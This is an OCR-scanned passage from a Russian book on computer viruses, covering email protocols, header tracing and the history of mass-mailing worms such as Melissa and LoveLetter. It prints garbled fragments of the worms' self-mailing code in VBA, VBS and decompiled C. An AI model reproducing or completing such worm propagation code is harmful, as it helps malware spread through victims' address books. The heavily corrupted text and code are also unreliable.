Если при сканировании случайной подсети какой-либо 1Р-адрес 
«отзь/вается» (то есть такой адрес соответствует реальному 
компьютеру), то червь также сканирует две ближайшие подсети 
данного 1Р-адреса.
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Какие компьютерм станут жертвами подобнмх червей? Прежде 
всего те, которне имеют доступ одновременно и к Интернету, и к ло- 
кальной сети. Такие машинм часто встречаются в небольших орга- 
низациях, все сотрудники которой вмходят в Интернет через един- 
ственньш 1Р-адрес, присвоенннй узлу сети с установленньш на нем 
прокси-сервером. Особенно опасно, если этот единственннй «цент- 
ральньш» узел работает под управлением Ш1гк1о\у5 9Х или зашишен 
примитивннм паролем. Наиболее простьш решением проблемн мо- 
жет служить файрволл (брандмауэр), установленннй на «централь- 
ном» узле и настроенннй так, чтобн пропускать КеСВЮЗ-запросн 
по портам 137-139 и 445 из своей сети (например, с 1Р-адресов 
192.168.0.* или 169.254.*.*) и блокировать все остальнме.

6.4.2. Почтовме вируси
Поснлка и прием элекгронной почтн бнли основньши задачами, для 
решения которнх первоначально предназначались компьютернне 
сети. Схемн решения этих задач в основном сложились в 1970-х го- 
дах: разработанн протоколн семейств РОР и 5МТР, методи кодиро- 
вания передаваемнх данннх, способн их передачи и хранения и т. п. 
В настояшее время система электронной почтн устроена следуюшим 
образом.

Письма формир)тотся, отснлаются получателю, а также прини- 
маются и отображаются при помоши специальннх программ -  поч- 
товнх клиентов, таких как М5 Ои(:1оок или ТЬеВа1 . Формат элект- 
ронного письма стандартизован в КҒС-822. Письмо состоит из двух 
текстовнх частей:

О заголовка;
О текста письма.
Заголовки писем могут содержать множество справочннх полей 

(«Кер1у-То>, «СотгпепС:», «Х-5рес1а1-ас1юп>, «Х-МаИеп» и прочие), 
но минимально необходимнми являются следуюшие:

О «Оа£е> -  дата посьшки сообшения;
О «Ғгот> -  электронньш адрес отправителя;
О «То.> -  электронннй адрес получате.тя;
О  «5иЬ]ес1> -  тема письма1.
Формат адреса отправителя и получателя основан на рассмотрен- 

ной внше доменной системе: самнй правьш элемент характеризует 
географическую зону или назначение организации, предпоследний -

1 На самом деле это поле может отсутствовать.
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доменное имя провайдера и т. д. Но, в отличие от символьних ин- 
тернет-адресов, в почтовом адресе присутствует еше имя получателя, 
отделенное от остальннх полей символом например <<коз1 уа@ 
а5Ш.Уо1§асот.<!ашага.5и».

За пересьшку писем по миру отвечают компьютерн («почтовне 
серверн»), на которнх запушенм процессм двух типов:

О серверм получения почтм, работаюшие по протоколу 5МТР 
через порт 125;

О серверм «вндачи» почтм, работаютдие по протоколу РОРЗ че- 
рез порт 110 (или, иногда, по протоколу 1МАР через портм 143 
и 2 2 0 ).

На этих же компьютерах располагаются и «почтовне яшики» -  
текстовне файлн, содержавдие письма. Программное обеспечение 
почтовнх серверов может работать как под 1Ж1Х-подобньши опе- 
рационнмми системами (зепйтаИ, ех1т ,  розШх и т. п.), так и под 
\УтсЬ \ \ г5 (хМа!15егуег).

Прежде чем добраться до получателя, электронное письмо обьгчно 
проходит по цепочке промежуточнмх почтовнх серверов, которме на- 
змваются чрелеями». Но возможна и «прямая доставка» электронно- 
го письма на тот сервер, с которого клиент-получатель забирает почту 
(на рис. 6.9 этот способ доставки обозначен пунктирной стрелкой).

Кпиемт- 
отпрэвитель

Сервер- Сервер- Клиент-

Почтовмй Почтовмй
Я1ДИК 5МТР яшик ’

ч

8МТР

8МТР
П с н т о в у й П0ЧТ08Ь1Й
_яш,ик РОРЗ Я1ЦИК

Рис. 6.9 ❖ Доставка электронной почти

Каждьш шаг в этой цепочке автоматически помечается отдельной 
строкой, приписьшаемой сверху к заголовку электронного письма. 
Таким образом, по заголовку письма обмчно можно определить путь 
письма от отправителя к получателю. Вот пример электронного пись- 
ма, которое пользователь Вася Пупкин послал Маше Веснушкиной:
Яесехуей: Тгога [10.8.2 .22] (НЕЮ т.<22. гапЬ1ег. гу)

Ьу ша1180. гатЬ1ег. ги (СояяишСаге Рго 5МТР 4.2.10) 
м 1ТП ЕЗМТР 1 й 23780972 Гог пазАа-уе8пи8ИК1П!#гвй1)1ег. ги;
Зат, 07 Ғеь 2003 17:16:04 +0300 

Й е с е т З :  Ггоя п7. Ьи11еТ. та ’Л . ас4. уапоо. соп
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(а7. Ьи11е1.ва11.ао4.уаПоо.сот [76.13.13.235])
Ьу тх22.гавЬ1ег.ги  (Р051Т1Х) м1гп 5МТР 10 5А6АА89А457 
Тог <тазйа-Уе5пизйк1па#гатЬ1ег.ги>; За1, 7 ҒеЬ 2003 17:16:04 +0300 (МЗК) 

Несехуей: Тгои [76.13 .13 .25]
Ьу п7. (зиПег.ша11.ас4.уа(юо.со® МНҒМР; 07 ҒеЬ 2003 14:16:03 -0000 

Неоегуес): Тгст [76.13.10.177]
Ьу 14. Ьи11еГ. ша11. ас4. уаИоо.сош и Ш  ММҒИР; 07 ҒеЬ 2003 14:16:03 -0000 

НесеАуей: Тгот [127 ,0 .0 .1 ]
Ьу огар118. таИ . ас4. уаПоо. сош МНҒИР; 07 ҒеЬ 2003 14:16:03 -0000 

Несе1уее1: (ршаП 15799 1пуоке0 Ьу игй 60001); 7 ҒеЬ 2003 14:16:02 -0000 
Яесе^ей: 'Ггош [85.113.33.18] Ьу кеЬ111212.шаи.да1.уаНоо.сош у 1в НТТР;

ЗаТ, 07 ҒеЬ 2003 06:16:02 РЗТ

ОаТе: ЗаТ, 7 Ғео 2003 06:16:02 -0800 (РЗТ)
Ғгот: Уазуа Рирк1 п <уазуа-рирк1п8уаИоо. сот>
Нер1у-То: уа5уа-рирк1п@уаПоо.соя
5иЬ]ес1: Привет!
То: ша5Ьа-уе5пизИк1.паЭгая!Ь1ег. ги

Привет! Как ту живвшь? Я живу хорово! Пиши почаше! Чмоки-чмоки,

Вася

Изучая заголовок, можно понять, что первоначально письмо бнло 
сформировано в почтовом веб-интерфейсе и получено почтовнм 
сервером провайдера «УаЬоо» через протокол НТТР. Затем оно пре- 
терпело неоднократнне перемевдения между релейними серверами 
почтовой службм «УаЬоо». Обратите внимание, что при этих внут- 
ренних переснлках в заголовке письма бнли зафиксированн не толь- 
ко доменнне имена релеев (типа «1:4.Ьи11е1.та1].ас4.уаЬоо.сот»), но и 
их 1Р-адреса. И наконец, письмо бнло отправлено через океан -  от- 
ечественному провайдеру «КатЬ1ег» при помоши протокола 5МТР.

А вот пример письма, посланного непосредственно на «финиш- 
ньш» сервер. В таком режиме обнчно распространяются почтовне 
вирусн и спам -  навязчивая реклама низкокачественннх товаров и 
бесполезннх услуг.
Кесе1Уес1: Тгот уоигТгтепО (цпкпокп [89.182.246.204])

Ьу т х '1 . га®Ь1ег. ги (РозТТ^х) «ИП 8МТР Ю 76АЗВЭ4С-46С 
Тог <1па5Иа-уе5пизИК1павгав01ег. ги>; ТИи, 19 Ғео 2004 22:14:00 +0300 (И5К) 

ОаТе: Ией, 13 ҒеЬ 2004 21:18:13 +0400 
Ғгош: Уоигтггепй <5ирегЬоу@шу1юзТ.сош>
То: *азПа-Уезпц5(1к1па®'ашЬ1ег. ги 
ЗиЬ^ест: Вмучи английский за 5 иинут!

Рассьлки пс Е-шаИ. Обход яюбих фильтрое. Умереинуо цену 1СО: 39/085807
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Обратите внимание, что в этом заголовке присутствует всего одна 
запись с ключевьш словом «Кесе1уес1»: сервер принял письмо по про- 
токолу ЗМТР напрямую от какой-то программм. В этой записи адрес 
отправителя «5ирегЪоу@туЬо$1 .сот» полностью вьшьпилен, зато 
присутствует 1Р-адрес машинн, с которой пришло письмо. Но радо- 
ваться рано. Скорее всего, машина просто заражена почтовмм виру- 
сом или троянской программой, которне и расснлают спам. А хозяин 
машинн об этом и не подозревает.

Рассмотрим наиболее часто встречаюшиеся методн и алгоритмн, 
при помовди которнх почтовне вирусн умеют расснлать самих себя 
по миру.

6.42.1. Первие почтовие вируси. Интерфейс МАР1
Итак, в начале 1999 г. бнла открнта новая страница в истории сете- 

внх червей и вирусов. Спустя десятилетие после инцидента с «червем 
Морриса» вирусописатели вновь обратили свое пристальное внима- 
ние на глобальнме компьютернне сети. В первую очередь их заинте- 
ресовала возможность саморасснлки «заразн» средствами электрон- 
ной почтн.

«Первой ласточкой новой веснн» стал вирус Е-\Уогт.\У1п32. 
Нарру (он же 5раозка, он же НарруЭЭ, он же 5ка), использовавший 
довольно замнсловатую технику встраивания своего кода в систем- 
ную библиотеку ч\У50СК32.БЬЬ». Перехватнвая функции работн 
с сокетами (конкретнее «соппесС» и *5епо1»), вирус отслеживал факт 
установления соединения с удаленньш хостом через ЗМТР-порт 25, 
извлекал из поснлаемнх пакетов адрес получателя и тут же, вдогонку 
к посланному «легальному» письму, отправлял себя, любимого. Та- 
ким образом, Е -\Уопп .\У т32 .Н арру  попадал только к тем адресатам, 
которне получали вполне «нормальнне» письма от хозяина заражен- 
ной машинн. Значительной эпидемии вирус не внзвал, но заставил 
специалистов в сфере компьютерной безопасности насторожиться.

Продолжение последовало в конце марта того же, 1999 года. И ка- 
кое продолжение!

В чрезвнчайно популярной (у определенного круга лиц) англо- 
язьтчной группе новостей «ак.зех» появились несколько \¥огс!-доку- 
ментов с -«халявньши» паролями для доступа к платньш порносай- 
там. «Определеннмй круг лиц», разумеется, немедленно ознакомился 
с содержанием этих документов и поступил в соответствии с лозун- 
гом «прочти и передай товаришу». Впрочем, этого уже не требовалось. 
Порнодокументм (а точнее заключеннне в них экземплярн макрови-
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руса М асго .\У ог< 197 .М еН 88а) принялись с бешеной скоростью рассм- 
лать самих себя ио адресам, найденнмм в адресннх книгах любителей 
«клубнички». Обнаружив в своем почтовом яшике страннме письма, 
очереднме получатели знакомились с их содержиммм... и тотчас же 
сами становились источником заразн. 'Геперь уже рассмлались не 
только «пароли к порносайтам», но и любне \Уогс1-документм, соз- 
даннне или отредактированнме на зараженннх машинах. При этом 
использовались вполне легальнме реквизитм ничего не подозревав- 
ших пользователей: имя, обратннй адрес, логин и пароль для доступа 
к 5МТР-серверу провайдера и т. п. Эпидемия стремительно разрас- 
талась. В крупннх корпорациях, пользовавшихся услугами элект- 
ронной почтм, бнли внедренн системм автоматизации документо- 
оборота -  приходяшие письма «прочитнвались», анализировались 
и расснлались по отделам без участия человека. Все такие системн 
немедленно заразились и стали источниками сотен тнсяч и миллио- 
нов вирусннх рассьшок. В почтовне явдики рядовнх пользователей 
письма с зараженннми документами «смпались» непрерьшно. Офи- 
см М1СГ050Й, 1пСе1 и ЬэскЬеес! вннужденм бнли отключить свои си- 
стемн автоматического документооборота. «Острую фазу» мировой 
эпидемии вируса М а сго .\У о п 1 9 7 .М е1 1 8 8 а  удалось обуздать примерно 
через неделю после ее начала, но «болезнетворнне» письма продол- 
жали рассьшаться с зараженннх компьютеров «мелкими партиями» 
еше очень долго -  больше года.

Автора вируса, подписавшегося в тексте макровируса псевдонимом 
«С^доЪо», нашли бнстро. Он не учел, что в заголовке структуриро- 
ванного хранилиша сохраняется С Ш Б машинн, автоматически сге- 
нерированньш на основании уникального МАС-адреса сетевой кар- 
тн. Спецслужбн провели массовое сканирование всех БОС-файлов, 
храняшихся в Интернете на многочисленнмх хакерских сайтах, и об- 
наружили по крайней мере два «прототипа» вируса Масго.\Уог<197. 
МеНвва, имеюших аналогичннй С171Г) и подписаннмх псевдонима- 
ми «УхсосИпЕз» и «Ак-ҒИ». После этого поимка автора сложностей 
не вмзвала. Им оказался 30-летний Дэвид Ли Смит из Нью-Джерси. 
«Злодея» осудили на 10 лет лишения свободн, но вьшустили «за при- 
мерное поведение» уже через 2 0  месяцев.

Как же сумел весьма примитивнмй макровирус Масго.^УогсШ?. 
МеНзза добиться столь впечатляювдего эффекта? Он состоит всего 
из одного макроса «Оосишеп(:_Ореп», нагшсанного на язнке УВА. 
Как и любой «нормальньт» макровирус, М а с г о .\¥ о г (1 9 7 .М е Н 8 8 а ,  
стартовав из зараженного документа, записнвается в «КОКМАЕ.
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ООТ». И наоборот, стартовав из глобального шаблона, помевдает 
себя во все открьгааемме документн. Делает он это все тоже доволь- 
но традиционно -  при помовди метода «ГпзеггЦпез», принадлежа- 
вдего свойству «Сос1еМос1и1е>> объекта «\;ВРго]есГ». Казалось бн, 
довольно обмкновеннмй, ничем не примечательньш макровирус. 
Самая «интересная» часть вируса заключена в следуюших немного- 
численннх строках:
01® ЧпдаОазОиПоок, ОазМаргНате, ВгеакШЮТТАЗИсе
5еи ЧпдгСазОиТХоок = Сгеате0Ь)есг("0и1:1оок.АррИоаШоп.")
8ет ОазМархНате = УпдаОазОитПоок. СеТМаглеЗрасе^"МАР1"}

1Т 1)пда0аз0ит1оок = "0и1:1оок'' Т(1еп 
0азМар1На!пе. 1одоп ''ргоТИе'', "раззиого"

Ғог у = 1 То 0азМар1Магле.Аас1гезз11зТз.Соипг 
5ет АййуВоок = ОазМартНате.АбйгеззИзТз^у) 
х = 1

8еТ ВгеакишОТТАЗНсе = 11пдаОазОиТ1оок. СгеаТе1Тэш!0)
Ғог оо = 1 То АойуВоок.АйОгеззЕпТгхез.Соипт 

Реер = АййуВоок.АййгеззЕптг1ез(х)
ВгеакШЮТТАЗПсе. Нес1Р1ептз.А0о Реер 
х = х + 1
1Т х > 50 ТМеп со = АйоуВоок.АайгеззЕпТпез.Соипт 

Нехт оо
ВгеакЦшОТТ.АЗНсе.8ий]есТ = "Гврсгтапт Меззаде Ғгош " 4 АррНсаТюп..изегМа(че 
ВгеакишОТТАЗИсе. Войу = \

"Неге 1з ТйаТ йосииепт уои азкео Тог . . .  ооп’ Т з(юи апуопе е1зе ;-)' '  
ВгеакЦтОТТАЗХюе. Аттас^глептз. АйО АсТТуеСосипепт. ҒиННате 
ВгеакитОТТАЗНсе. 8епв 
Реер =

Нехт у
Оа5Мар1Каше.ЬодоТТ 

Епй 1Т

Оказнвается, вирус Масго.\Уогс197.МеН85а не использует интер- 
фейса сокетов, не создает канала связи с почтовнм сервером через 
порт 25 и не поснлает писем. Не делает этого и виртуальная машина 
М5 \¥огс1, под управлением которой макровирус вьшолняется. На са- 
мом деле расснлкой почтм зан^шается стандартньга почтовнй кли- 
ент М5 ОисЬок, а макровирус только отдает ему командн, используя 
интерфейс МАР1. 06  адресе почтового сервера, имени пользователя 
и его пароле заботиться не стоит, ведь они уже «зашитн» в справоч- 
нме базн Ои11оок!

Итак, вирус создает объект «Ои(1оок», а затем, пользуясь метода- 
ми свойства «МАР1», перечисляетпервме 50 записей в адресной кни- 
ге почтового клиента и рассмлает по ним себя (то есть зараженньш
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ВОС-файл), снабдив электронное письмо заголовком типа «1трог- 
Сап1 Мезза^е Ғгот Вася Пупкин».

Вирус Масго.\¥огс197.Ме11в8а внзвал массу подражаний. Десятки 
его более или менее похожих аналогов (РпНзза, ^лрояза, СотЬовва, 
Кезише, РЬгат, Уепот, 2е г§ и прочие) «гуляли» по электронной поч- 
те еаде года два-три, не вмзнвая, правда, слишком уж больших эпиде- 
мий. Являясь, по сушеству, обнчннми макровирусами, они вьпили из 
модн и «внмерли» в первне годн нового столетия.

К числу «первнх» и «ранних» можно отнести также почтовне виру- 
сн, написаннне на язнке УВ5 -  У15иа1 Ваз1с ЗспрЬз, евде одной разно- 
видности язнка У1зиа1 Ва$1с. За внполнение УВ5-программ (кстати, 
и сценариев ]Зсг1рг. -  тоже) отвечает сервер сценариев \У5Н, функ- 
ционал которого заключен в системннх модулях «\У5СШ РТ.ЕХЕ» 
и «С5СК1РТ.ЕХЕ». Можно создать текстовнй файл с расширением 
«,УВ5» (или 4 .(5 »), вделкнуть по нему мншкой, и программа, находя- 
вдаяся внутри, будет вьтолнена. Но гораздо большую опасность не- 
сет возможность запуска подобннх скриптовнх программ, прикреп- 
ленннх к электронному письму в виде «аттачей» (вложений). Стоит, 
получив зараженное письмо, попнтаться ознакомиться с аттачем 
(шелкнуть мьшгкой по его иконке), и вирус немедленно стартует.

1 :  "  г>
От ¥а$уа-рирк1П@уаПос.сот 

Ко*Ч та8Ьалге8пи8Ькта@ гатЬ1ег.ги 
Тем а ЗизЛкнп чакага катоз роийикиг...

1.302 Ь

Ш УЕШ Т...

Ғгот: У а в у аР и р к 1П <уа8уа-рирк1п@уаНоо.сот>
Рер1у-То: уа8уа-рирк!п@ уаНоо.сот
ЗиЬ]ес1: Зи ей к^т  уакзга кауов роийики!...
То: та8Ьа-уеэпиеНк1па@гатЬ10г.ги

ктпсНу сЬвск аИасЬей ШУЕ1-ЕТТЕЙ с о т т д  й о т  т е .

А

п :  . ю:
Рис. 6.10 ❖ Электронное письмо с червем ЬоуеЬеМег

Первьш почтовьга вирус, использовавший язьге УВ5, появился 
осенью 1999 г. -  это бнл Е-\Уогт.УВ5 .ҒгееН пк8 . Потом последова- 
ли Е -\У о гт . УВ5.ВиЬЬ1еВоу, Е -\¥ о гт . УВ5.Ғ1геВигп , Е - \¥ о г т .У В 5 . 
Ғиппу и прочие, а в 2000 г. обширную эпидемию внзвал Е -\У о гт . 
УВ^ХоуеЬеИег (он же 1 Еоуе¥ои) -  см. рис. 6.10. Почтовая «за- 
раза» подобного сорта не требовала от авторов сколь-нибудь внсо- 
кой квалификации. В Интернете свободно доступньт бнли даже ге-
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нераторн УВЗ-вирусов, позволявшие, ответив на ряд вопросов типа 
«Как будет назьшаться файл аттача?» или «Какое сообшение будет 
внводиться на экран?», за несколько секунд изготовить текст абсо- 
лютно нового, не распознаваемого антивирусами почтового червя 
(см. рис. 6 .1 1 ).

| ^аппНале ^цгегРчдаУги* ( | 

Аи№ог |$ире(РирегН«еке1 | 1
Г^ атҒвЛ и м »  1 “  

0  ОаСЬак. ВрпаЛпд 
0  л^ВС5р*м*|д |

1 0 пАаиге... 1 I
_____ _____ ' ___1 _ _  1
0>У:1оаУ *

Бепегэ№ | М евааеЗи Ь к*  |Мули4ер*юЬ»1 1

1 м  1 Г
Мв»«д»8о4*

Ьмк. 4  ту пиде рЬо*о* пом

□  М ей 0и(1оокм$(опсе

! Ок "1

Рис. 6.11 ❖ Один из генераторов почтовьих червей

Перечень таких вирусов, наштампованннх без участия мозгов 
и внпушенннх в «дикую природу», насчитнвает многае сотни раз- 
новидностей. Активно обсуждавшийся прессой в 2001 г. почтовнй 
вирус «Анна Курникова» (он же Е-\¥огш.УВ5Хее) тоже не бнл 
написан своим «автором» -  юннм голландцем Яном де Витом ака 
«ОпТЬеҒ1у», даже не умевшим программировать, -  а являлся резуль- 
татом работь1 утилитн «[К]А1атаг’з УЬз \Ўоггп5 СгеаГог».

Принципь1 работн УВ5-червей и червей, представляюших собой 
макросн М5 \Уогс1, мало чем отличаются друг от друга. Ведь и те, и 
другие написанн на близких диалектах одного и того же язьжа про- 
граммирования -  У1зиа1 Ваз1с, Вот, например, ключевой фрагмент 
почтового червя Е-\У6 гт.У В 8 ХоуеЬе1 1 ег. Как он напоминает серд- 
цевину вируса Масго.\Уог<197.МеН55а, не правда ли?!
Зе* Тзо = Сгеа*еОо)ес1:("5сг1р1;1пд. Ғ1 ХеЗузгетОЬзест” )

3е1 0 1гзузТет = Тзо.ВетЗрес1а1Ғо1йег( 1)

зет оиТ=йЗсг1вТ. Сгеэ1:е0Ь]ес1:("0и1:1сок. АзрНсаХю п") 
зет пэр1=оиТ.СетМашеЗрасе("КАРГ')
Тог и г  11513=1 То шар1.А авгеззийз .Соипг
зеТ а=пар1.Айоге55113Тз(сТг113Тз)
х=1

Сог с тге п 1 г1 е з = 1  то а .А о й ге з з Е .п т п е з . Соипт 

п а 1 е а 0 = а .А а р ге з з Е п тгх е з (х )
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зе ! !ва1е=ои1.Сгеа*е11;ет(0) 
ша1е. Нес1р1еп*5. А£)й(ша1еай) 
ша1е.8ий]ео1: = "ИОУЕУОЦ"
шаге.Войу = уЬсг1Т&"к1лй1у с^еск тпе аМасМей ЮУЕЬЕТТЕЧ соШпд Тгога ше." 
ггаХе. АПасИтепгз. Айо(й1Г$у51ет81"\10\/Е-1ЕТТЕЙ-ҒОН-УОи.ТХТ. уЬз") 
ша1е.8епй

х=х+1
пехт

Следует иметь в виду, что хотя исходнне текстм червей, написан- 
нне на УВ5, открнтн, в некоторнх случаях их исследование затруд- 
нено. Сама фирма МкгозоСс предусмотрела возможность шифрова- 
ния скриптов при помовди утилитн «5СКЕКС.ЕХЕ» (\Утск>\\г5 5 сг1рТ 
Епсойег), а расшифровке текст должен подвергаться <<на лету», встро- 
енньши средствами \У5Н. Ничего страшного, сушествует масса не- 
сложннх утилит-«расшифров!диков». например <<5СКВЕС12.ЕХЕ» 
от МгВго\упз1опе.

Таким образом, почти все почтовне вирусн рубежа веков исполь- 
зовали программннй интерфейс МАР1.

Вообхце, МАР1 (Мезза£т£ АррПсаСюп Рго§гашпип§ 1пСег£асе) -  это 
мовдная объектно-ориентированная библиотека, позволяклцая при- 
кладннм программам работать с электронной почтой, используя ме- 
тодн ОЬЕ-автоматизации (то есть методн, позволяювдие передавать 
даннне из одного приложения М1сгозоЙ в другое и управлять его ра- 
ботой). По умолчанию МАР1 дает возможность управлять стандарт- 
ннми почтовнми клиентами «Оиг1оок» и «Оиг1оок Ехргезз», но не- 
которне «нестандартнне» почтовне программн (например, ТЬеВаТ) 
замешают оригинальную библиотеку «МАР132.0ЕЬ» своей версией 
и, следовательно, сами начинают внполнять управлякмцие команда>1 . 
Эта библиотека содержит более 200 разнообразннх функций, но для 
внполнения основннх операций (приема и посьшки электронннх 
писем) вполне достаточно всего дюжинн. Эта дюжина образует под- 
множество, известное как «51тр1е МАР1»:

О «МАР1А(Мге58» -  создает или модифицирует записи в адрес- 
ной книге;

О «МАР1 Ве1еГеМа11» -  удаляет письма с сервера;
О «МАРШешЬ» -  вьтодит в диалоговое окно информацию об 

адресате;
О «МАРШпсМехО -  возврашает идентификатор очередного 

письма на сервере;
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О -»МАР1ҒгееВиЙ:ег» -  освобождает память, виделенную для 
почтовой системи;

О «МАР1Ьобой» -  закрьшает сессию работн с почтовой систе- 
мой;

О «МАРГЬодоп» -  начинает сессию работн с почтовой системой; 
О «МАРШеайМаН» -  принимает с сервера письмо с указанннм 

идентификатором;
О <М АРШезоЬгеИате» -  сопоставляет адрес с именем адресата; 
О «МАР15ауеМах1» -  сохраняет письмо в локальном яшике;
О «МАР15еп«Юосишеп15» -  посилает письмо в виде аттача;
О «МАР15епс1МаП» -  поснлает письмо, возможно, с атгачем. 
Разумеется, доступ к этим функциям возможен не только из скрип- 

товьк язнков, но и из любого язьпса программирования. Например, 
в 2 0 0 0 - 2 0 0 1  годах довольно широко бьм распространен почтовнй 
червь Е-\Уогт.\¥т32.^аУ1(1ас1, написанннй на У1зиа1 С/С++. Деком- 
пилировав программний код этого червя и попнтавшись реконструи- 
ровать его исходньш текст, можно получить примерно следуюадее:
ЬНАИОЦЕ 865, / /  МАР1-сессия
сПаг МздЮ[512] = М1И; /./ 10 письма
МархМеззадв «М5д1, *Мзд2; / /  Буфера для писем

8иЬ_40125С() {
Н  (8иЬ_4010Е0()) / /  Полученнв адрес.ов МАР1-функций

МАР11одоп(0, 0, 0, 2, 0, &3ез); / /  Открьпчв новой НАРЬсессии
)
8иЬ_401450() ( / /  <- Здесь начинается фрагмент саморассияки

5ио_401250(), / /  Инкциализировать МАР1
ЗиЬ_401280(); / /  Ответить на письма

>
5иЬ_401280() {

\кМ11е(МАР1Ғ1П()Нех1:(8ез, 0, 0, МздЮ, 0, 0, НздЮ)==0) {
МАР1НеаоМа11(5ез, 0, МздЮ, 0, 0, &Мзс1);

6егМо()и1еҒПеНаше( 0, ҒИеРагм, 0x104 );
Мзд2->1рҒ11ез->1р52РаГ11Магпе = з1;гйир( Ғ И е Р а гп ) ;
М5д2->1рҒПез->1р32Ғ11еМаше = зТгоир("пау1 с]ас.ехе’');
Мзд2->1рВес1рз->1рзгАй<)гез8 = з1:гСир(М5д1 - >1 р0г 1д хпаио г-> 1рз2Айс гезз);

МАР15епоМэ11(Зез. 0, &Мзд2, 0, 0);
МАР1Ғгее8иТТег(5ез);

)
/

Как можно видеть, алгоритм работн червя Е-\Уогтп.\У1п32.^аУ1(5ас1 
очень прост: в цикле прочитнваются все плсьма, накопившиеся в поч-
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товом яшике на сервере, и на каждое из них посьмается ответ с при- 
крепленннм вирусньгм файлом «МАУШАО.ЕХЕ». Разумеется, поль- 
зователь, получивший такое письмо, с внсокой вероятностью будет 
доверять его содержимому, ведь оно послано от имени знакомого че- 
ловека!

Почтовнх червей, используюших интерфейс МАР1, бнло и естъ 
очень много. Стоит, например, уномя^гуть червя \Уш 32.Н1У, не толь- 
ко рассьшаюшего себя по почте, но и заражаюхцего РЕ-программн по 
принципу «классических» \¥т32-вирусов. Значительнне эпидемии 
внзнвали Е-\Уогт.Вас1(;гап5, Е -\УогтХоу§а1е, Е-\¥огт.8Ьа1пх и 
прочие.

6.42.2. Прямая работа с почтовими серверами
Черви, расснлаюшие себя при помоши МАР1, «привязанн» к опре- 

деленному пользователю и почтовому серверу провайдера. Или к за- 
ранее составленному списку бесплатннх серверов, как, например, 
Е-\Уогт.\№ т32.8^еп. В любом случае, на своем пути к адресату они, 
как и любне «нормалънне» письма, вьшужденн посевдать всю длин- 
ную цепочку релеев, на каждом из которнх, вполне вероятно, при- 
сутств}тот антивирусн. Ускорить и обезопасить саморасснлку почто- 
вой «заразм» позволяют методн, использ\гюшие прямое обрашение 
к почтовому серверу получателя по протоколу 5МТР.

Задача прямой поснлки письма на сервер получателя складнвает- 
ся из нескольких последовательннх шагов.

На первом шаге необходимо сформировать электронное сообше- 
ние в формате, определенном стандартом КҒС-822. Сообшение долж- 
но иметь текстовьш вид и содержать только буквьт латинского алфа- 
вита, цифрн, знаки препинания и специальнне символн типа «@», 
«$» и прочие.

Вот пример письма, содержашего, кроме текста, еше и вложения 
(аттачи).
Саге: Иоп, 15 Маг 2004 12:10:15 +0400
Ғгош: Иазпа-УезпизНкш а <На8Па-Уе8п«8Ик1па*гв«б1ег.ғи>
То: уа зуа -р ув к 1 п@уз(100.сош 
ЗиЬ]ест: Не11о!
№1те-\/ег510п: 1 .0

Сопхепг-Туре: »ии1раП/*1хеО; ооипоагу="--------------- ВЕ1199С26СҒҒ7Ғ8"

Тп1_з 1з а ш иШ рэгг МХМЕ-сооей шэзззде

ВЕ1199С26СҒҒ7ҒВ
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СопгеЛ-Туре: тех1:/р1а1п; сПагзеТ=и5-азс11 
СопТепТ-ТгапзТег-ЕпсосИпд: 7С1Т

Юок ат рмотсз!

----------------- ВЕ1199С26СҒҒ7ҒВ
СоптеМ-Туре: аррнсатюп/остет-зтгеаш : пате="е1саг.сот"
Соптепт-ТгапзТег-Епсо01пд: йазе64
СопТепТ-013ро31Тюп: аТТаспиеяТ; Г11епаие="е1саг.сош"

и0Урт1аЕҒ0М23с11ҒрУнт0оиғ4рн0мсктй9иЕУи00Ғ5Ш1)0и5Е0УиЕ111Ғ0УЕ1«5'^уиу1ийУ^и
Ш2ЛЕиП0ЕдгЗСоМСд==

------------------ВЕ1199С26СҒҒ7ҒВ--

Значение «шик1раг1 » в поле «СопСеп{-Туре> информирует о том, 
что письмо состоит из нескольких частей. Строка-разделитель фраг- 
ментов письма определяется в параметре «Ьоипс1агу=», она должна на- 
чинаться с нескольких (по крайней мере, двзгх) символов «-» и может 
состоять из любнх букв и цифр. Главное, чтобн эта строка не встре- 
тилась в самом сообшении, поэтому ее стараются сделать как можно 
более «случайной». Фрагментн письма, разделяемне этой строкой, 
начинаются с маленьких заголовочков. Поле «СопГеп(>Туре» в заго- 
ловочках определяет содержимое фрагмента:

О «1:ех1/р 1а1П» соответствует тексту:
О «(:ехс/Ьст1>> -  \УЛУЛУ-страничке;
О «аррНсайоп/осТеЬ-зСгеат» -  программе или произвольннм 

двоичннм данннм;
О «1та£е/§ 1£» и «1та§е/р]ре§» -  указнвают на картинки;
О «аисНо/пйд» и «аисНо/^ау» -  на звуки, музнку и т. п. 
Прикрепленнне файлн (программн, картинки, звуки и прочее) 

обьгчно имеют нетекстовьш вид и содержат байта со значения- 
ми в диапазоне от 0 до 255. Для того чтобн представить их в виде 
текста, используются специальнне методн кодирования, например 
ииЕпсоде (Ишх-Т.о-Итх, широко использовавшийся в ҒШО) или 
Вазе-64 (рекомендуемьш стандартом М1те). Идея кодирования 
очень проста. При кодировании используются «словари» -  64-байто- 
вне строки. Для игих-1.о-1 .'п1х:
•! - * $ »’ ()*♦,-. /0123456789:; <=>?вЛВС0ЕҒ6Н1Ла.»«0Р03Т0У»«СУ2[\3~_

Для Ваке-64/М 1те:
АВСВЕҒСННК1ММ0Р0ЯЗТ()У|л|ХУ7.а0сс1е'ғ‘дП11к1!ппорд'8Ти«'л'ху70123456789+/
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Исходнме данние представляются в виде непрерьгеного потока би- 
тов. Тогда каждме три последовательннх байта могут бьггь представ- 
ленн ввидечетнрехчисел по 6 битовкаждое: 3 x 8  = 24 = 4 x 6 .  Эти 
числа служат индексами в «словарях». Предположим, что требуется 
закодировать «не-вирус» «Е1САК.СОМ», начинаюшийся со следую- 
вдих байтов:
58 35 4Ғ 21-50 25 40 41-50 5В 34 5С-50 5А 58 35 Х50! Р9ь@АР[4\Р2Х5

Тогда байтн 58Ь, 35Ь и 4ҒЬ преобразуются в строки «М6#5» и 
«\¥ОУР» соответственно. Разумеется, при этом объем любого зако- 
дированного набора данннх увеличится в 1,33 раза. Встречается евде 
кодировка «£>ио£ес1 рпп!:аЬ1е>, которая заменяет все байтн данннх их 
шестнадцатеричннмн кодами, например: «=58=35=4Ғ».

Итак, электронное сообвдение сформировано. Теперь необходимо 
найти где-то адреса для расснлки. Вариантов много. Например, почто- 
вне черви Е-\Уогт.\Ут32.АН2, Е-\¥опп.\¥1п32.Согопех, Е-\Уогш. 
\¥т32.К1с2 и др. брали их напрямую из файлов с расширением 
«.ША.В», в которнх хранится адресная книга программн ОиСЬоок. 
Этот файл имеет в начале заголовок, в котором по смешению ЮОЬ 
